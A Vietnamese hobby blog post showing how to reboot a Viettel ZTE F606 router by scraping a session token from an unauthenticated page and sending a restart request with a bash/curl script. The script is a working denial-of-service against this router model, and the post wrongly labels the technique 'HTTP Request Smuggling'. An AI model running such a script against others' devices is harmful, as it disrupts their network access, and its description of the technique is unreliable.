Reboot router từ xa bằng kỹ thuật HTTP Request Smuggling
Một ngày nọ, vị thiền sư đang cầm con Timuuu ra mid solo với thanh niên Daxu hàng hiệu. Cuộc chiến vốn dĩ rất ngang tài ngang sức thì bỗng từ đâu, thầy tu mù lao ra sút cái đụi một phát. Cơ hội ngàn năm có một, Daxu tung tuyệt kỹ Trăn trối. Hắn ta lao vút lên, chém túi bụi vào chiếc Timuuu bé nhỏ đáng thương. Vị thiền sư choáng váng, cắm đầu lao thẳng về trụ. Tưởng đâu pha này vào nồi lẩu rồi, vậy mà tôi chưa lên bảng đếm số anh em ạ. Gã Daxu kia đứng yên một chỗ, còn tôi thì tiếp tục chạy sâu vào trụ. Hí ha hí hửng cho đến khi nhận ra có gì đó sai sai. Daxu hàng hiệu ăn trọn 3 hit trụ nhưng không hề hấn gì. Và một dòng thông báo hiện lên
Dòng thông báo này chắc hẳn rất quen thuộc với cộng đồng “thọt thủ”. Thật kém may mắn khi mình phải đối mặt với nó thường xuyên. Đôi lúc thì do router bị lag gì đó, lúc thì do… chưa đóng tiền mạng nên bị cắt ?? 😀 ?? Khổ nỗi từ chỗ mình ngồi thiền đến cục router khá là lòng vòng thành thử ra cũng lười. Nhưng dù sao cũng cảm ơn anh em đã chịu khó đọc câu chuyện tôi vừa bịa ra. Nhưng vụ cục router là thật nha. Bắt đầu nào!
MỤC LỤC
HTTP Request Smuggling (HRS) là một kỹ thuật theo dõi và phân tích các request giữa một trang web với máy chủ. Sau đó chúng ta có thể debug hoặc mô phỏng lại Request để ra lệnh cho máy chủ mà không cần thông qua giao diện. Nói cách khác là chúng ta theo dõi và tạo ra các yêu cầu giả mạo. Nếu anh dev back-end cho máy chủ cứng tay thì có thể phát hiện ra và ngăn chặn. Còn không thì 🐧 anh em hiểu rồi đấy.
Trong bài viết này, mình sẽ ghi lại quá trình theo dõi, bắt gói tin và bắt chước request để gửi lệnh khỏi động lại lên router. Thực tế kỹ thuật trong bài chính xác hơn là Cross-Site Request Forgery (CSRF) hoặc XSS. Còn khái niệm HRS nó rộng hơn nhiều.
Cục wifi nhà mình mỗi lần khởi động lại sẽ tự động hiện lên một trang web thông báo không có mạng (Viettel ZTE F606). Và cho phép khởi động lại. Mình biết lúc này router đang đăng ký với nhà mạng, ở đây là Viettel để được cấp IP. Sau khi ISP xác thực và cấp địa chỉ IP là chúng ta có thể vào được mạng. Vậy nên không cần phải nhấn nút khởi động lại ở đây.
Sau vài lần thử nghiệm, mình phát hiện trang web trên không xác thực quyền truy cập. Nghĩa là ai cũng có thể truy cập và khởi động lại router nhà mình nếu họ biết trò này. Cách phòng chống là mua cục router xịn lắp vào hoặc kiếm bản cập nhật mới. Mà thôi kệ, trò này chỉ gây khó chịu một chút chứ cũng không quá nguy hiểm. Nhưng phát hiện này khiến mình nghĩ ra một trò hay ho. Ta sẽ tận dụng lỗ hổng này và viết tool giúp khởi động lại router nhanh. Không cần tác động vật lý hoặc mở trình duyệt rồi đăng nhập các kiểu.
Reboot
của trang web trên có gì đặc biệt không. Rất may mắn là nhà sản xuất gọi hàm JS DevStartSubmit()
trực tiếp bằng sự kiện onclick
Bên cạnh đó, có một thẻ <input>
ẩn có tên là _SESSION_TOKEN
. Chỉ bằng nửa ánh mắt như cách tôi nhìn đứa mình ghét, ký ức về những ngày còn học môn Web-based Java Applications (PRJ321) của hoangvd7 bỗng ùa về. Đó quả là một cực hình khi trường F bắt mình phải code mấy cái web xàm xí bằng … cái bàn phím bị lờn nút ;
Nói đến đây, tự dưng thấy sống mũi nó cay cay anh em ạ. Xin phép thầy hoangvd7 cho em giải thích ở đây luôn để chuộc lỗi với thầy 😭. Các input field ẩn có chức năng đính kèm thông tin vào form để submit mà người dùng không biết. Thông thường, người ta thường sử dụng nó để xác thực form, tránh làm giả, xss. Hoặc đơn giản là dùng để xác định phiên đăng nhập như cách server của router nhà mình sử dụng. Thông thường, các trang web sẽ sử dụng cookie để xác thực người dùng. Thế nhưng có một số trình duyệt không hỗ trợ cookie hoặc người ta cố tình tắt cookie đi. Thì đây là một phương pháp chắc chắn hoạt động được.
Như vậy, ở bước này mình thu thập được 2 thông tin sau: Hàm
DevStartSubmit()
và_SESSION_TOKEN
dùng để xác thực phiên đăng nhập.
Tìm hàm tạo và gửi lệnh reboot đến router
DevStartSubmit()
. Ở đây, trang web sẽ hiện một hộp thoại để hỏi người dùng có thực sự muốn khởi động lại không. Nếu nhấm confirm
thì nó sẽ gọi hàm ajaxRebootRequest()
. Thứ mình cần tìm đây rồi. Tại đây, trình duyệt sẽ tạo một HTTP Request đến trang "/ajaxComLogic.gch?pid=1"
kèm theo các pay load là IF_ACTION
và _SESSION_TOKEN
Network
để bắt đầu theo dõi các request đi và đến. Tiếp theo, mình truy cập vào link http://192.168.1.1/dnscheat_nolos.gch
_SESSION_TOKEN
1 2 3 |
ROUTER_IP=192.168.1.1 _SESSION_TOKEN=$(curl -s -X GET http://$ROUTER_IP/dnscheat_nolos.gch | grep -Po '(?<=value=")[\d+]*') echo $_SESSION_TOKEN |
Anh em hãy sử dụng terminal Linux để chạy thử. Lưu ý, đối với MacOS nó không hiệu quả vì mình sử dụng cú pháp của GNU Grep chạy trên các máy Linux, còn Mac sử dụng FreeBSD Grep. Trên Windows anh em cũng có thể cài WSL để chạy cũng oke. Và đây là kết quả khi thực hiện đoạn lệnh trên.
Tiếp tục theo dõi Request yêu cầu reboot router
Vậy là bước đầu thành công, tiếp theo mình sẽ bắt HTTP Request được gửi đi khi nhấn nút Confirm.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#!/bin/bash ROUTER_IP=192.168.1.1 DEV_URL="http://"$ROUTER_IP"/ajaxComLogic.gch?pid=1" _SESSION_TOKEN=$(curl -s -X GET http://$ROUTER_IP/dnscheat_nolos.gch -H "Cache-Control: max-age=0" -H "Connection: keep-alive" -H "DNT: 1" -H "Upgrade-Insecure-Requests: 1" | grep -Po '(?<=value=")[\d+]*') echo -e "[ROUTER IP]\t $ROUTER_IP" echo -e "[cURL]\t\t \"curl -s -X GET http://$ROUTER_IP/dnscheat_nolos.gch\"" echo -e "[SESSION TOKEN]\t $_SESSION_TOKEN" echo -e "[ROUTER DEV URL] $DEV_URL" REQ_RET=$(curl -s -X POST $DEV_URL -H "Accept: */*" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,vi;q=0.8" -H "Connection: keep-alive" -H "Content-Type: text/plain;charset=UTF-8" -H "DNT: 1" -H "Host: $ROUTER_IP" -H "Origin: http://$ROUTER_IP" -H "Referer: http://$ROUTER_IP/dnscheat_nolos.gch" --data "IF_ACTION=devRestart&_SESSION_TOKEN=$_SESSION_TOKEN&") if [[ $REQ_RET =~ "SUCC" ]]; then echo -e 'The Viettel ZTE F606 Router Is Restarting\nPLEASE WAIT 2-3 MINUTES....' else echo -e '[ERROR] CANNOT PERFORM THE COMMANDS!' fi |
Chạy thử nghiệm thực tế
Vậy là chúng ta đã có một script hoàn chỉnh để gửi request, yêu cầu router khởi động lại. Nếu anh em nào sử dụng router Viettel ZTE F606 giống mình và đang sử dụng Linux. Hãy thử copy đoạn code trên, lưu vào file reset-zte-f606.sh
và chạy thử để xem kết quả.
1 2 |
chmod u+x reset-zte-f606.sh ./reset-zte-f606.sh |
ssh
Tổng kết
Nếu bạn đã dành thời gian đọc đến dòng này, mình xin cảm ơn bạn đã kiên nhẫn nghe mình luyên thuyên xàm xí đú nãy giờ. Nếu bạn không tìm được giải pháp để khởi động lại router ở nhà bạn thì hãy thông cảm. Mỗi nhà mạng mỗi thời điểm lại cấp một loại router khác nhau. Đôi khi cùng loại mà không chạy cùng firmware thì cũng không thể ôm nguyên cục code của mình mà xài được rồi. Nhưng hy vọng qua bài viết này, anh em sẽ được bổ sung một số kiến thức hay ho cũng như kỹ thuật bắt và soi gói tin. Cảm ơn anh em đã ủng hộ Blog Hiếu Đá vip pro cute 🐖.